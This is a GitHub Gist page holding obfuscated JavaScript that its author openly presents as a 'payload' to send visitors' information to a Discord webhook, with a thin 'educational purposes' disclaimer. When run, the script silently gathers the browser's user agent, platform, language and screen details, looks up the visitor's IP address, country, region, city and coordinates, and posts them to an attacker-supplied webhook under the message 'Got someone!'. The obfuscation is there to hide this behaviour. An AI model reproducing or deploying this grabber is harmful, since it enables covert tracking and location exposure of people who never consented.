Created
June 23, 2023 08:55
-
-
Save KevinAlavik/643e69f1d99980c961c5f1734aadeaf4 to your computer and use it in GitHub Desktop.
This is some payload code to send all of the users info to an discord webhook, for educational pourposes only. Change the WEBHOOK_URL to begin! Its kinda obfuscated since thats how its made
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const WEBHOOK_URL = ""; | |
const _0x477e47 = _0x3e27; | |
(function(_0x578013, _0x1a4c44) { | |
const _0x2aff5e = _0x3e27, | |
_0x2899c5 = _0x578013(); | |
while (!![]) { | |
try { | |
const _0x293b74 = parseInt(_0x2aff5e(0x162)) / 0x1 + -parseInt(_0x2aff5e(0x170)) / 0x2 + -parseInt(_0x2aff5e(0x181)) / 0x3 * (parseInt(_0x2aff5e(0x185)) / 0x4) + -parseInt(_0x2aff5e(0x167)) / 0x5 + -parseInt(_0x2aff5e(0x174)) / 0x6 * (-parseInt(_0x2aff5e(0x16a)) / 0x7) + parseInt(_0x2aff5e(0x183)) / 0x8 * (-parseInt(_0x2aff5e(0x17e)) / 0x9) + parseInt(_0x2aff5e(0x184)) / 0xa; | |
if (_0x293b74 === _0x1a4c44) { | |
break | |
} else { | |
_0x2899c5['push'](_0x2899c5['shift']()) | |
} | |
} catch (_0x446dd6) { | |
_0x2899c5['push'](_0x2899c5['shift']()) | |
} | |
} | |
}(_0x12c7, 0x8d4e8)); | |
async function fetchGeolocationData() { | |
const _0x2fac78 = _0x3e27, | |
_0xd5141d = await fetch(_0x2fac78(0x166)); | |
if (_0xd5141d['ok']) { | |
const _0x5bf0e2 = await _0xd5141d[_0x2fac78(0x187)](); | |
return _0x5bf0e2 | |
} else { | |
throw new Error(_0x2fac78(0x16c)) | |
} | |
} | |
function _0x12c7() { | |
const _0x439d34 = ['log', 'Failed\x20to\x20fetch\x20geolocation\x20data.', '\x0a\x20\x20\x20\x20', 'screen', 'Message\x20sent\x20to\x20Discord!', '512202DrVNWC', '\x0a\x20\x20\x20\x20\x20\x20Latitude:\x20', 'Failed\x20to\x20send\x20message\x20to\x20Discord.', 'longitude', '282WcSaMX', '\x0a\x20\x20\x20\x20\x20\x20Screen\x20Width:\x20', 'height', 'version', 'language', 'match', '\x0a\x20\x20\x20\x20\x20\x20Browser\x20Version:\x20', '\x0a\x20\x20\x20\x20Got\x20someone!\x0a\x20\x20\x20\x20\x20\x20User\x20Agent:\x20', WEBHOOK_URL, '\x0a\x20\x20\x20\x20\x20\x20Screen\x20Height:\x20', '801PkEqAq', 'name', 'platform', '3fDccsd', '\x0a\x20\x20\x20\x20\x20\x20Browser\x20Name:\x20', '45544dIhAXI', '19052180uitrRu', '345656wYEwtW', '\x0a\x20\x20\x20\x20\x20\x20Country:\x20', 'json', 'toLowerCase', 'catch', 'Error:', 'error', 'unknown', 'country_name', '195526ZEgghX', 'application/json', '\x0a\x20\x20\x20\x20\x20\x20Region:\x20', 'POST', 'https://ipapi.co/json/', '3912525njvdBU', 'userAgent', '\x0a\x20\x20\x20\x20\x20\x20Platform:\x20', '16345lCztbq']; | |
_0x12c7 = function() { | |
return _0x439d34 | |
}; | |
return _0x12c7() | |
} | |
function extractBrowserInfo(_0x1470ad) { | |
const _0x176131 = _0x3e27, | |
_0x2ce870 = _0x1470ad[_0x176131(0x179)](/(chrome|firefox|msie|trident(?=\/))\/?\s*(\d+)/i); | |
if (_0x2ce870 && _0x2ce870[0x1]) { | |
return { | |
'name': _0x2ce870[0x1][_0x176131(0x15c)](), | |
'version': parseInt(_0x2ce870[0x2]) | |
} | |
} | |
return { | |
'name': _0x176131(0x160), | |
'version': 0x0 | |
} | |
} | |
async function fetchAndSendMessage() { | |
const _0x59320b = _0x3e27, | |
_0xc8beb4 = navigator[_0x59320b(0x168)], | |
_0x4caa84 = navigator[_0x59320b(0x180)], | |
_0x97fb7e = navigator[_0x59320b(0x178)], | |
_0x10cd21 = window[_0x59320b(0x16e)]['width'], | |
_0x5940bf = window[_0x59320b(0x16e)][_0x59320b(0x176)], | |
_0x41ce32 = window[_0x59320b(0x16e)]['colorDepth'], | |
_0x428f68 = await fetchGeolocationData(), | |
_0x22410a = extractBrowserInfo(_0xc8beb4), | |
_0x1154b6 = _0x428f68['ip'], | |
_0x16a5ed = _0x428f68[_0x59320b(0x161)], | |
_0x17816b = _0x428f68['region'], | |
_0xe4faa7 = _0x428f68['city'], | |
_0x39770e = _0x428f68['latitude'], | |
_0x5069be = _0x428f68[_0x59320b(0x173)], | |
_0x439213 = _0x59320b(0x17b) + _0xc8beb4 + _0x59320b(0x169) + _0x4caa84 + '\x0a\x20\x20\x20\x20\x20\x20Language:\x20' + _0x97fb7e + _0x59320b(0x175) + _0x10cd21 + _0x59320b(0x17d) + _0x5940bf + '\x0a\x20\x20\x20\x20\x20\x20Color\x20Depth:\x20' + _0x41ce32 + _0x59320b(0x182) + _0x22410a[_0x59320b(0x17f)] + _0x59320b(0x17a) + _0x22410a[_0x59320b(0x177)] + '\x0a\x20\x20\x20\x20\x20\x20IP\x20Address:\x20' + _0x1154b6 + _0x59320b(0x186) + _0x16a5ed + _0x59320b(0x164) + _0x17816b + '\x0a\x20\x20\x20\x20\x20\x20City:\x20' + _0xe4faa7 + _0x59320b(0x171) + _0x39770e + '\x0a\x20\x20\x20\x20\x20\x20Longitude:\x20' + _0x5069be + _0x59320b(0x16d), | |
_0x11551b = _0x59320b(0x17c); | |
fetch(_0x11551b, { | |
'method': _0x59320b(0x165), | |
'headers': { | |
'Content-Type': _0x59320b(0x163) | |
}, | |
'body': JSON['stringify']({ | |
'content': _0x439213 | |
}) | |
})['then'](_0x45f932 => { | |
const _0x6d9932 = _0x59320b; | |
_0x45f932['ok'] ? console[_0x6d9932(0x16b)](_0x6d9932(0x16f)) : console[_0x6d9932(0x15f)](_0x6d9932(0x172)) | |
})[_0x59320b(0x15d)](_0x445956 => { | |
const _0x4b45c1 = _0x59320b; | |
console[_0x4b45c1(0x15f)]('Error:', _0x445956) | |
}) | |
} | |
function _0x3e27(_0x482e90, _0x4d3b69) { | |
const _0x12c727 = _0x12c7(); | |
return _0x3e27 = function(_0x3e27f6, _0x5add1b) { | |
_0x3e27f6 = _0x3e27f6 - 0x15c; | |
let _0xf4a845 = _0x12c727[_0x3e27f6]; | |
return _0xf4a845 | |
}, _0x3e27(_0x482e90, _0x4d3b69) | |
} | |
fetchAndSendMessage()[_0x477e47(0x15d)](_0x3b9286 => { | |
const _0x22711 = _0x477e47; | |
console[_0x22711(0x15f)](_0x22711(0x15e), _0x3b9286) | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment